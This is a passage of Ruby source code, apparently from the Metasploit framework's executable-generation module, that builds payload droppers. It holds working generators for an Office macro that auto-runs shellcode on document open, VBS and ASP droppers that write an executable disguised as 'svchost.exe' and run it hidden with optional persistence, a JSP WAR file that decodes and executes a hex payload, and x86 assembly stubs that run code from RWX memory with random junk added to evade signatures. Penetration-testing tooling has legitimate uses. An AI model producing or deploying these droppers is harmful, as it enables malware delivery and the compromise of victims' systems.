                var_lpParameter        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
840
                var_dwCreationFlags  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
841
                var_lpThreadID       = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
842
                var_lpAddr           = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
843
                var_lSize            = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
844
                var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
845
                var_flProtect        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
846
                var_lDest        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
847
                var_Source       = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
848
                var_Length       = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
849

    
850
                # put the shellcode bytes into an array
851
                bytes = ''
852
                maxbytes = 20
853
                codebytes = code.unpack('C*')
854
                1.upto(codebytes.length) do |idx|
855
                        bytes << codebytes[idx].to_s
856
                        bytes << "," if idx < codebytes.length - 1
857
                        bytes << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0)
858
                end
859

    
860
                "#If Vba7 Then 
861
Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As LongPtr, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As LongPtr
862
Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As LongPtr
863
Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As LongPtr, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As LongPtr
864
#Else 
865
Private Declare Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As Long, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As Long
866
Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As Long
867
Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As Long, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As Long
868
#EndIf
869

    
870
Sub Auto_Open()
871
        Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long
872
#If Vba7 Then 
873
        Dim  #{var_rwxpage} As LongPtr, #{var_res} As LongPtr
874
#Else 
875
        Dim  #{var_rwxpage} As Long, #{var_res} As Long
876
#EndIf
877
        #{var_myArray} = Array(#{bytes})
878
        #{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40)
879
        For #{var_offset} = LBound(#{var_myArray}) To UBound(#{var_myArray})
880
                #{var_myByte} = #{var_myArray}(#{var_offset})
881
                #{var_res} = RtlMoveMemory(#{var_rwxpage} + #{var_offset}, #{var_myByte}, 1)
882
        Next #{var_offset}
883
        #{var_res} = CreateThread(0, 0, #{var_rwxpage}, 0, 0, 0)
884
End Sub
885
Sub AutoOpen()
886
        Auto_Open
887
End Sub
888
Sub Workbook_Open()
889
        Auto_Open
890
End Sub
891
"
892
        end
893

    
894
        def self.to_win32pe_vba(framework, code, opts={})
895
                to_exe_vba(to_win32pe(framework, code, opts))
896
        end
897

    
898
        def self.to_exe_vbs(exes = '', opts={})
899
                delay   = opts[:delay]   || 5
900
                persist = opts[:persist] || false
901

    
902
                exe = exes.unpack('C*')
903
                vbs = ""
904

    
905
                var_bytes   = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
906
                var_fname   = Rex::Text.rand_text_alpha(rand(8)+8)
907
                var_func    = Rex::Text.rand_text_alpha(rand(8)+8)
908
                var_stream  = Rex::Text.rand_text_alpha(rand(8)+8)
909
                var_obj     = Rex::Text.rand_text_alpha(rand(8)+8)
910
                var_shell   = Rex::Text.rand_text_alpha(rand(8)+8)
911
                var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
912
                var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
913
                var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
914

    
915
                vbs << "Function #{var_func}()\r\n"
916

    
917
                vbs << "#{var_bytes}=Chr(#{exe[0]})"
918

    
919
                lines = []
920
                1.upto(exe.length-1) do |byte|
921
                        if(byte % 100 == 0)
922
                                lines.push "\r\n#{var_bytes}=#{var_bytes}"
923
                        end
924
                        # exe is an Array of bytes, not a String, thanks to the unpack
925
                        # above, so the following line is not subject to the different
926
                        # treatments of String#[] between ruby 1.8 and 1.9
927
                        lines.push "&Chr(#{exe[byte]})"
928
                end
929
                vbs << lines.join("") + "\r\n"
930

    
931
                vbs << "Dim #{var_obj}\r\n"
932
                vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
933
                vbs << "Dim #{var_stream}\r\n"
934
                vbs << "Dim #{var_tempdir}\r\n"
935
                vbs << "Dim #{var_tempexe}\r\n"
936
                vbs << "Dim #{var_basedir}\r\n"
937
                vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
938

    
939
                vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
940
                vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
941
                vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
942
                vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe}, true , false)\r\n"
943
                vbs << "#{var_stream}.Write #{var_bytes}\r\n"
944
                vbs << "#{var_stream}.Close\r\n"
945
                vbs << "Dim #{var_shell}\r\n"
946
                vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
947

    
948
                vbs << "#{var_shell}.run #{var_tempexe}, 0, true\r\n"
949
                vbs << "#{var_obj}.DeleteFile(#{var_tempexe})\r\n"
950
                vbs << "#{var_obj}.DeleteFolder(#{var_basedir})\r\n"
951
                vbs << "End Function\r\n"
952

    
953
                vbs << "Do\r\n" if persist
954
                vbs << "#{var_func}\r\n"
955
                vbs << "WScript.Sleep #{delay * 1000}\r\n" if persist
956
                vbs << "Loop\r\n" if persist
957
                vbs
958
        end
959

    
960
        def self.to_exe_asp(exes = '', opts={})
961
                exe = exes.unpack('C*')
962
                vbs = "<%\r\n"
963

    
964
                var_bytes   = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
965
                var_fname   = Rex::Text.rand_text_alpha(rand(8)+8)
966
                var_func    = Rex::Text.rand_text_alpha(rand(8)+8)
967
                var_stream  = Rex::Text.rand_text_alpha(rand(8)+8)
968
                var_obj     = Rex::Text.rand_text_alpha(rand(8)+8)
969
                var_shell   = Rex::Text.rand_text_alpha(rand(8)+8)
970
                var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
971
                var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
972
                var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
973

    
974
                vbs << "Sub #{var_func}()\r\n"
975

    
976
                vbs << "#{var_bytes}=Chr(#{exe[0]})"
977

    
978
                lines = []
979
                1.upto(exe.length-1) do |byte|
980
                        if(byte % 100 == 0)
981
                                lines.push "\r\n#{var_bytes}=#{var_bytes}"
982
                        end
983
                        # exe is an Array of bytes, not a String, thanks to the unpack
984
                        # above, so the following line is not subject to the different
985
                        # treatments of String#[] between ruby 1.8 and 1.9
986
                        lines.push "&Chr(#{exe[byte]})"
987
                end
988
                vbs << lines.join("") + "\r\n"
989

    
990
                vbs << "Dim #{var_obj}\r\n"
991
                vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
992
                vbs << "Dim #{var_stream}\r\n"
993
                vbs << "Dim #{var_tempdir}\r\n"
994
                vbs << "Dim #{var_tempexe}\r\n"
995
                vbs << "Dim #{var_basedir}\r\n"
996
                vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
997

    
998
                vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
999
                vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
1000
                vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
1001
                vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
1002
                vbs << "#{var_stream}.Write #{var_bytes}\r\n"
1003
                vbs << "#{var_stream}.Close\r\n"
1004
                vbs << "Dim #{var_shell}\r\n"
1005
                vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
1006

    
1007
                vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n"
1008
                vbs << "End Sub\r\n"
1009

    
1010
                vbs << "#{var_func}\r\n"
1011
                vbs << "%>\r\n"
1012
                vbs
1013
        end
1014

    
1015
        def self.to_win32pe_vbs(framework, code, opts={})
1016
                to_exe_vbs(to_win32pe(framework, code, opts), opts)
1017
        end
1018

    
1019
        def self.to_win32pe_asp(framework, code, opts={})
1020
                to_exe_asp(to_win32pe(framework, code, opts), opts)
1021
        end
1022

    
1023
        # Creates a jar file that drops the provided +exe+ into a random file name
1024
        # in the system's temp dir and executes it.
1025
        #
1026
        # See also: +Msf::Core::Payload::Java+
1027
        #
1028
        def self.to_jar(exe, opts={})
1029
                spawn = opts[:spawn] || 2
1030
                exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
1031
                zip = Rex::Zip::Jar.new
1032
                paths = [
1033
                        [ "metasploit", "Payload.class" ],
1034
                ]
1035
                zip.add_files(paths, File.join(Msf::Config.data_directory, "java"))
1036
                zip.build_manifest :main_class => "metasploit.Payload"
1037
                config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
1038
                zip.add_file("metasploit.dat", config)
1039
                zip.add_file(exe_name, exe)
1040

    
1041
                zip
1042
        end
1043

    
1044
        # Creates a Web Archive (WAR) file from the provided jsp code. Additional options
1045
        # can be provided via  the "opts" hash.
1046
        def self.to_war(jsp_raw, opts={})
1047
                jsp_name = opts[:jsp_name]
1048
                jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
1049
                app_name = opts[:app_name]
1050
                app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
1051

    
1052
                meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
1053
                manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
1054
                web_xml = %q{<?xml version="1.0"?>
1055
<!DOCTYPE web-app PUBLIC
1056
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
1057
"http://java.sun.com/dtd/web-app_2_3.dtd">
1058
<web-app>
1059
<servlet>
1060
<servlet-name>NAME</servlet-name>
1061
<jsp-file>/PAYLOAD.jsp</jsp-file>
1062
</servlet>
1063
</web-app>
1064
}
1065
                web_xml.gsub!(/NAME/, app_name)
1066
                web_xml.gsub!(/PAYLOAD/, jsp_name)
1067

    
1068
                zip = Rex::Zip::Archive.new
1069
                zip.add_file('META-INF/', nil, meta_inf)
1070
                zip.add_file('META-INF/MANIFEST.MF', manifest)
1071
                zip.add_file('WEB-INF/', '')
1072
                zip.add_file('WEB-INF/web.xml', web_xml)
1073
                # add the payload
1074
                zip.add_file("#{jsp_name}.jsp", jsp_raw)
1075

    
1076
                # add extra files
1077
                if opts[:extra_files]
1078
                        opts[:extra_files].each { |el|
1079
                                zip.add_file(el[0], el[1])
1080
                        }
1081
                end
1082

    
1083
                return zip.pack
1084
        end
1085

    
1086
        # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload.
1087
        # The jsp page converts the hexdump back to a normal .exe file and places it in
1088
        # the temp directory. The payload .exe file is then executed.
1089
        def self.to_jsp_war(exe, opts={})
1090

    
1091
                # begin <payload>.jsp
1092
                var_hexpath       = Rex::Text.rand_text_alpha(rand(8)+8)
1093
                var_exepath       = Rex::Text.rand_text_alpha(rand(8)+8)
1094
                var_data          = Rex::Text.rand_text_alpha(rand(8)+8)
1095
                var_inputstream   = Rex::Text.rand_text_alpha(rand(8)+8)
1096
                var_outputstream  = Rex::Text.rand_text_alpha(rand(8)+8)
1097
                var_numbytes      = Rex::Text.rand_text_alpha(rand(8)+8)
1098
                var_bytearray     = Rex::Text.rand_text_alpha(rand(8)+8)
1099
                var_bytes         = Rex::Text.rand_text_alpha(rand(8)+8)
1100
                var_counter       = Rex::Text.rand_text_alpha(rand(8)+8)
1101
                var_char1         = Rex::Text.rand_text_alpha(rand(8)+8)
1102
                var_char2         = Rex::Text.rand_text_alpha(rand(8)+8)
1103
                var_comb          = Rex::Text.rand_text_alpha(rand(8)+8)
1104
                var_exe           = Rex::Text.rand_text_alpha(rand(8)+8)
1105
                var_hexfile       = Rex::Text.rand_text_alpha(rand(8)+8)
1106
                var_proc          = Rex::Text.rand_text_alpha(rand(8)+8)
1107
                var_fperm         = Rex::Text.rand_text_alpha(rand(8)+8)
1108
                var_fdel          = Rex::Text.rand_text_alpha(rand(8)+8)
1109

    
1110
                jspraw =  "<%@ page import=\"java.io.*\" %>\n"
1111
                jspraw << "<%\n"
1112
                jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{var_hexfile}.txt\";\n"
1113
                jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
1114
                jspraw << "String #{var_data} = \"\";\n"
1115

    
1116
                jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
1117
                jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
1118
                jspraw << "}\n"
1119

    
1120
                jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
1121
                jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
1122

    
1123
                jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
1124
                jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
1125
                jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
1126
                jspraw << "#{var_inputstream}.close();\n"
1127

    
1128
                jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
1129
                jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
1130
                jspraw << "{\n"
1131
                jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
1132
                jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
1133
                jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
1134
                jspraw << "#{var_comb} <<= 4;\n"
1135
                jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
1136
                jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
1137
                jspraw << "}\n"
1138

    
1139
                jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
1140
                jspraw << "#{var_outputstream}.close();\n"
1141

    
1142
                jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
1143
                jspraw << "String[] #{var_fperm} = new String[3];\n"
1144
                jspraw << "#{var_fperm}[0] = \"chmod\";\n"
1145
                jspraw << "#{var_fperm}[1] = \"+x\";\n"
1146
                jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
1147
                jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
1148
                jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
1149
                jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
1150
                jspraw << "}\n"
1151
                # Linux and other UNICES allow removing files while they are in use...
1152
                jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
1153
                jspraw << "} else {\n"
1154
                # Windows does not ..
1155
                jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
1156
                jspraw << "}\n"
1157

    
1158
                jspraw << "%>\n"
1159

    
1160
                # Specify the payload in hex as an extra file..
1161
                payload_hex = exe.unpack('H*')[0]
1162
                opts.merge!(
1163
                        {
1164
                                :extra_files =>
1165
                                        [
1166
                                                [ "#{var_hexfile}.txt", payload_hex ]
1167
                                        ]
1168
                        })
1169

    
1170
                return self.to_war(jspraw, opts)
1171
        end
1172

    
1173

    
1174
        # Creates a .NET DLL which loads data into memory
1175
        # at a specified location with read/execute permissions
1176
        #    - the data will be loaded at: base+0x2065
1177
        #    - default max size is 0x8000 (32768)
1178
        def self.to_dotnetmem(base=0x12340000, data="", opts={})
1179

    
1180
                # Allow the user to specify their own DLL template
1181
                set_template_default(opts, "dotnetmem.dll")
1182

    
1183
                pe = ''
1184
                File.open(opts[:template], "rb") { |fd|
1185
                        pe = fd.read(fd.stat.size)
1186
                }
1187

    
1188
                # Configure the image base
1189
                base_offset = opts[:base_offset] || 180
1190
                pe[base_offset, 4] = [base].pack('V')
1191

    
1192
                # Configure the TimeDateStamp
1193
                timestamp_offset = opts[:timestamp_offset] || 136
1194
                pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')
1195

    
1196
                # XXX: Unfortunately we cant make this RWX only RX
1197
                # Mark this segment as read-execute AND writable
1198
                # pe[412,4] = [0xe0000020].pack("V")
1199

    
1200
                # Write the data into the .text segment
1201
                text_offset = opts[:text_offset] || 0x1065
1202
                text_max    = opts[:text_max] || 0x8000
1203
                pack        = opts[:pack] || 'a32768'
1204
                pe[text_offset, text_max] = [data].pack(pack)
1205

    
1206
                # Generic a randomized UUID
1207
                uuid_offset = opts[:uuid_offset] || 37656
1208
                pe[uuid_offset,16] = Rex::Text.rand_text(16)
1209

    
1210
                return pe
1211
        end
1212

    
1213

    
1214
        def self.encode_stub(framework, arch, code, platform = nil, badchars='')
1215
                return code if not framework.encoders
1216
                framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
1217
                        begin
1218
                                enc = framework.encoders.create(name)
1219
                                raw = enc.encode(code, badchars, nil, platform)
1220
                                return raw if raw
1221
                        rescue
1222
                        end
1223
                end
1224
                nil
1225
        end
1226

    
1227
        def self.generate_nops(framework, arch, len, opts={})
1228
                opts['BadChars'] ||= ''
1229
                opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]
1230

    
1231
                return nil if not framework.nops
1232
                framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
1233
                        begin
1234
                                nop = framework.nops.create(name)
1235
                                raw = nop.generate_sled(len, opts)
1236
                                return raw if raw
1237
                        rescue
1238
                        end
1239
                end
1240
                nil
1241
        end
1242

    
1243
        # This wrapper is responsible for allocating RWX memory, copying the
1244
        # target code there, setting an exception handler that calls ExitProcess
1245
        # and finally executing the code.
1246
        def self.win32_rwx_exec(code)
1247

    
1248
                stub_block = %Q^
1249
                ; Input: The hash of the API to call and all its parameters must be pushed onto stack.
1250
                ; Output: The return value from the API call will be in EAX.
1251
                ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
1252
                ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
1253
                ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
1254
                ; Note: This function is unable to call forwarded exports.
1255

    
1256
                api_call:
1257
                  pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
1258
                  mov ebp, esp           ; Create a new stack frame
1259
                  xor eax, eax           ; Zero EDX
1260
                  mov eax, [fs:eax+48]   ; Get a pointer to the PEB
1261
                  mov eax, [eax+12]      ; Get PEB->Ldr
1262
                  mov eax, [eax+20]      ; Get the first module from the InMemoryOrder module list
1263
                  mov edx, eax
1264
                next_mod:                ;
1265
                  mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
1266
                  movzx ecx, word [edx+38] ; Set ECX to the length we want to check
1267
                  xor edi, edi           ; Clear EDI which will store the hash of the module name
1268
                loop_modname:            ;
1269
                  xor eax, eax           ; Clear EAX
1270
                  lodsb                  ; Read in the next byte of the name
1271
                  cmp al, 'a'            ; Some versions of Windows use lower case module names
1272
                  jl not_lowercase       ;
1273
                  sub al, 0x20           ; If so normalise to uppercase
1274
                not_lowercase:           ;
1275
                  ror edi, 13            ; Rotate right our hash value
1276
                  add edi, eax           ; Add the next byte of the name
1277
                  dec ecx
1278
                  jnz loop_modname      ; Loop untill we have read enough
1279
                  ; We now have the module hash computed
1280
                  push edx               ; Save the current position in the module list for later
1281
                  push edi               ; Save the current module hash for later
1282
                  ; Proceed to iterate the export address table,
1283
                  mov edx, [edx+16]      ; Get this modules base address
1284
                  mov eax, [edx+60]      ; Get PE header
1285
                  add eax, edx           ; Add the modules base address
1286
                  mov eax, [eax+120]     ; Get export tables RVA
1287
                  test eax, eax          ; Test if no export address table is present
1288
                  jz get_next_mod1       ; If no EAT present, process the next module
1289
                  add eax, edx           ; Add the modules base address
1290
                  push eax               ; Save the current modules EAT
1291
                  mov ecx, [eax+24]      ; Get the number of function names
1292
                  mov ebx, [eax+32]      ; Get the rva of the function names
1293
                  add ebx, edx           ; Add the modules base address
1294
                  ; Computing the module hash + function hash
1295
                get_next_func:           ;
1296
                  test ecx, ecx          ; (Changed from JECXZ to work around METASM)
1297
                  jz get_next_mod        ; When we reach the start of the EAT (we search backwards), process the next module
1298
                  dec ecx                ; Decrement the function name counter
1299
                  mov esi, [ebx+ecx*4]   ; Get rva of next module name
1300
                  add esi, edx           ; Add the modules base address
1301
                  xor edi, edi           ; Clear EDI which will store the hash of the function name
1302
                  ; And compare it to the one we want
1303
                loop_funcname:           ;
1304
                  xor eax, eax           ; Clear EAX
1305
                  lodsb                  ; Read in the next byte of the ASCII function name
1306
                  ror edi, 13            ; Rotate right our hash value
1307
                  add edi, eax           ; Add the next byte of the name
1308
                  cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
1309
                  jne loop_funcname      ; If we have not reached the null terminator, continue
1310
                  add edi, [ebp-8]       ; Add the current module hash to the function hash
1311
                  cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for
1312
                  jnz get_next_func      ; Go compute the next function hash if we have not found it
1313
                  ; If found, fix up stack, call the function and then value else compute the next one...
1314
                  pop eax                ; Restore the current modules EAT
1315
                  mov ebx, [eax+36]      ; Get the ordinal table rva
1316
                  add ebx, edx           ; Add the modules base address
1317
                  mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
1318
                  mov ebx, [eax+28]      ; Get the function addresses table rva
1319
                  add ebx, edx           ; Add the modules base address
1320
                  mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
1321
                  add eax, edx           ; Add the modules base address to get the functions actual VA
1322
                  ; We now fix up the stack and perform the call to the desired function...
1323
                finish:
1324
                  mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
1325
                  pop ebx                ; Clear off the current modules hash
1326
                  pop ebx                ; Clear off the current position in the module list
1327
                  popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
1328
                  pop ecx                ; Pop off the origional return address our caller will have pushed
1329
                  pop edx                ; Pop off the hash value our caller will have pushed
1330
                  push ecx               ; Push back the correct return value
1331
                  jmp eax                ; Jump into the required function
1332
                  ; We now automagically return to the correct caller...
1333
                get_next_mod:            ;
1334
                  pop eax                ; Pop off the current (now the previous) modules EAT
1335
                get_next_mod1:           ;
1336
                  pop edi                ; Pop off the current (now the previous) modules hash
1337
                  pop edx                ; Restore our position in the module list
1338
                  mov edx, [edx]         ; Get the next module
1339
                  jmp next_mod     ; Process this module
1340
                ^
1341

    
1342
                stub_exit = %Q^
1343
                ; Input: EBP must be the address of 'api_call'.
1344
                ; Output: None.
1345
                ; Clobbers: EAX, EBX, (ESP will also be modified)
1346
                ; Note: Execution is not expected to (successfully) continue past this block
1347

    
1348
                exitfunk:
1349
                  mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
1350
                  push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
1351
                  call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
1352
                  cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
1353
                  jl goodbye             ; Then just call the exit function...
1354
                  cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
1355
                  jne goodbye      ;
1356
                  mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
1357
                goodbye:                 ; We now perform the actual call to the exit function
1358
                  push byte 0            ; push the exit function parameter
1359
                  push ebx               ; push the hash of the exit function
1360
                  call ebp               ; call EXITFUNK( 0 );
1361
                ^
1362

    
1363
                stub_alloc = %Q^
1364
                  cld                    ; Clear the direction flag.
1365
                  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
1366
                delta:                   ;
1367
                #{stub_block}
1368
                start:                   ;
1369
                  pop ebp                ; Pop off the address of 'api_call' for calling later.
1370

    
1371
                allocate_size:
1372
                   mov esi,PAYLOAD_SIZE
1373

    
1374
                allocate:
1375
                  push byte 0x40         ; PAGE_EXECUTE_READWRITE
1376
                  push 0x1000            ; MEM_COMMIT
1377
                  push esi               ; Push the length value of the wrapped code block
1378
                  push byte 0            ; NULL as we dont care where the allocation is.
1379
                  push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
1380
                  call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
1381

    
1382
                  mov ebx, eax           ; Store allocated address in ebx
1383
                  mov edi, eax           ; Prepare EDI with the new address
1384
                  mov ecx, esi           ; Prepare ECX with the length of the code
1385
                  call get_payload
1386
                got_payload:
1387
                  pop esi                ; Prepare ESI with the source to copy
1388
                  rep movsb              ; Copy the payload to RWX memory
1389
                  call set_handler       ; Configure error handling
1390

    
1391
                exitblock:
1392
                #{stub_exit}
1393
                set_handler:
1394
                  xor eax,eax
1395
                  push dword [fs:eax]
1396
                  mov dword [fs:eax], esp
1397
                  call ebx
1398
                  jmp exitblock
1399
                ^
1400

    
1401
                stub_final = %Q^
1402
                get_payload:
1403
                  call got_payload
1404
                payload:
1405
                ; Append an arbitary payload here
1406
                ^
1407

    
1408

    
1409
                stub_alloc.gsub!('short', '')
1410
                stub_alloc.gsub!('byte', '')
1411

    
1412
                wrapper = ""
1413
                # regs    = %W{eax ebx ecx edx esi edi ebp}
1414

    
1415
                cnt_jmp = 0
1416
                stub_alloc.each_line do |line|
1417
                        line.gsub!(/;.*/, '')
1418
                        line.strip!
1419
                        next if line.empty?
1420

    
1421
                        if (rand(2) == 0)
1422
                                wrapper << "nop\n"
1423
                        end
1424

    
1425
                        if(rand(2) == 0)
1426
                                wrapper << "jmp autojump#{cnt_jmp}\n"
1427
                                1.upto(rand(8)+8) do
1428
                                        wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
1429
                                end
1430
                                wrapper << "autojump#{cnt_jmp}:\n"
1431
                                cnt_jmp += 1
1432
                        end
1433
                        wrapper << line + "\n"
1434
                end
1435

    
1436
                wrapper << stub_final
1437

    
1438
                enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
1439
                off = enc.offset_of_reloc('PAYLOAD_SIZE')
1440
                res = enc.data + code
1441

    
1442
                res[off,4] = [code.length].pack('V')
1443
                res
1444
        end
1445

    
1446
        # This wrapper is responsible for allocating RWX memory, copying the
1447
        # target code there, setting an exception handler that calls ExitProcess,
1448
        # starting the code in a new thread, and finally jumping back to the next
1449
        # code to execute. block_offset is the offset of the next code from
1450
        # the start of this code
1451
        def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
1452

    
1453
                stub_block = %Q^
1454
                ; Input: The hash of the API to call and all its parameters must be pushed onto stack.
1455
                ; Output: The return value from the API call will be in EAX.
1456
                ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
1457
                ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
1458
                ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
1459
                ; Note: This function is unable to call forwarded exports.
1460

    
1461
                api_call:
1462
                  pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
1463
                  mov ebp, esp           ; Create a new stack frame
1464
                  xor edx, edx           ; Zero EDX
1465
                  mov edx, [fs:edx+48]   ; Get a pointer to the PEB
1466
                  mov edx, [edx+12]      ; Get PEB->Ldr
1467
                  mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
1468
                next_mod:                ;
1469
                  mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
1470
                  movzx ecx, word [edx+38] ; Set ECX to the length we want to check
1471
                  xor edi, edi           ; Clear EDI which will store the hash of the module name
1472
                loop_modname:            ;
1473
                  xor eax, eax           ; Clear EAX
1474
                  lodsb                  ; Read in the next byte of the name
1475
                  cmp al, 'a'            ; Some versions of Windows use lower case module names
1476
                  jl not_lowercase       ;
1477
                  sub al, 0x20           ; If so normalise to uppercase
1478
                not_lowercase:           ;
1479
                  ror edi, 13            ; Rotate right our hash value
1480
                  add edi, eax           ; Add the next byte of the name
1481
                  dec ecx
1482
                  jnz loop_modname      ; Loop untill we have read enough
1483
                  ; We now have the module hash computed
1484
                  push edx               ; Save the current position in the module list for later
1485
                  push edi               ; Save the current module hash for later
1486
                  ; Proceed to itterate the export address table,
1487
                  mov edx, [edx+16]      ; Get this modules base address
1488
